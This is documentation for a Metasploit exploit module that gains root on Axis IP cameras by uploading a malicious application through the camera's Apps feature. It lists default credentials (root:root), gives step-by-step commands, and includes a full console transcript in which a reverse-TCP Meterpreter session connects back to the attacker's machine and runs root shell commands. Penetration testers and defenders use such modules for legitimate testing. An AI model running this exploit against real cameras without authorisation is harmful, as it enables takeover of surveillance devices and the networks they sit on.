## Vulnerable Application

### Description

This module exploits the "Apps" feature in Axis IP cameras. The feature allows third party
developers to upload and execute 'eap' applications on the device. The system does not validate
the application comes from a trusted source, so a malicious attacker can upload and execute
arbitrary code. The issue has no CVE, although the technique was made public in 2018.

This module uploads and executes stageless meterpreter as `root` via the application upload
feature. The module will also uninstall the application upon completion. Uploading the application
requires valid credentials. The default administrator credentials used to be `root:root` but
newer firmware versions force users to provide a new password for the `root` user.

The module was tested on an Axis M3044-V using the latest firmware (9.80.3.8: December 2021).
All devices that support the "App" feature are presumed to be vulnerable at this time.

### Installation

Axis cameras are physical devices and aren't known to have been successfully emulated. However,
if you have a device, affected firmware can be downloaded from:

* https://www.axis.com/

A free account is required to navigate the site but you can download specific firmware without
authentication. For example, the latest version for the Axis M3044-V can be downloaded here:

* https://www.axis.com/ftp/pub/axis/software/MPQT/M3044-V/9_80_3_8/M3044-V_9_80_3_8.bin

## Verification Steps

* Acquire an affected device
* Do: `use exploit/linux/http/axis_app_install`
* Do: `set RHOST <ip>`
* Do: `set PASSWORD <password>`
* Do: `check`
* Verify the remote target is flagged as vulnerable
* Do: `set LHOST <ip>`
* Do: `exploit`
* You should get a Meterpreter session.

## Options

### USERNAME

The username to authenticate to the web server with. The default value is "root".

### PASSWORD

The password to authenticate to the web server with. The default value is "root".

## Scenarios

### Axis M3044-V using firmware 9.80.3.8. Get Meterpreter session.

```
msf > use exploit/linux/http/axis_app_install
[*] Using configured payload linux/armle/meterpreter_reverse_tcp
msf exploit(linux/http/axis_app_install) > options

Module options (exploit/linux/http/axis_app_install):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   root             yes       The password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      80               yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       Base path
   URIPATH                     no        The URI to use for this exploit (default is random)
   USERNAME   root             yes       The username to authenticate with
   VHOST                       no        HTTP server virtual host


Payload options (linux/armle/meterpreter_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Linux Dropper


msf exploit(linux/http/axis_app_install) > set RHOST 192.168.1.183
RHOST => 192.168.1.183
msf exploit(linux/http/axis_app_install) > check
[*] 192.168.1.183:80 - The target is not exploitable. The user provided credentials did not work.
msf exploit(linux/http/axis_app_install) > set PASSWORD labpass1
PASSWORD => labpass1
msf exploit(linux/http/axis_app_install) > check
[*] 192.168.1.183:80 - The target appears to be vulnerable. The target reports itself to be a 'AXIS M3044-V'.
msf exploit(linux/http/axis_app_install) > set LHOST 192.168.1.217
LHOST => 192.168.1.217
msf exploit(linux/http/axis_app_install) > run

[*] Started reverse TCP handler on 192.168.1.217:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. The target reports itself to be a 'AXIS M3044-V'.
[*] Creating an application package named: jtn
[*] Sending an application upload request to /axis-cgi/packagemanager.cgi
[+] Application installed. Pausing 5 seconds to let the filesystem sync.
[+] Deleted /etc/systemd/system/jtn.service
[*] Meterpreter session 1 opened (192.168.1.217:4444 -> 192.168.1.183:49602 ) at 2022-02-24 18:45:19 -0800
[*] Sending a delete application request to /axis-cgi/applications/control.cgi
[+] The application jtn was successfully removed from the target!

meterpreter > getuid
Server username: root
meterpreter > shell
Process 13863 created.
Channel 1 created.
id
uid=0(root) gid=0(root)
cat /proc/cpuinfo
processor	: 0
model name	: ARMv7 Processor rev 1 (v7l)
BogoMIPS	: 156.00
Features	: half thumb fastmult vfp edsp neon vfpv3 tls vfpd32
CPU implementer	: 0x41
CPU architecture: 7
CPU variant	: 0x4
CPU part	: 0xc09
CPU revision	: 1

Hardware	: Ambarella S2L (Flattened Device Tree)
Revision	: 0000
Serial		: 0000000000000000
pwd
/
```
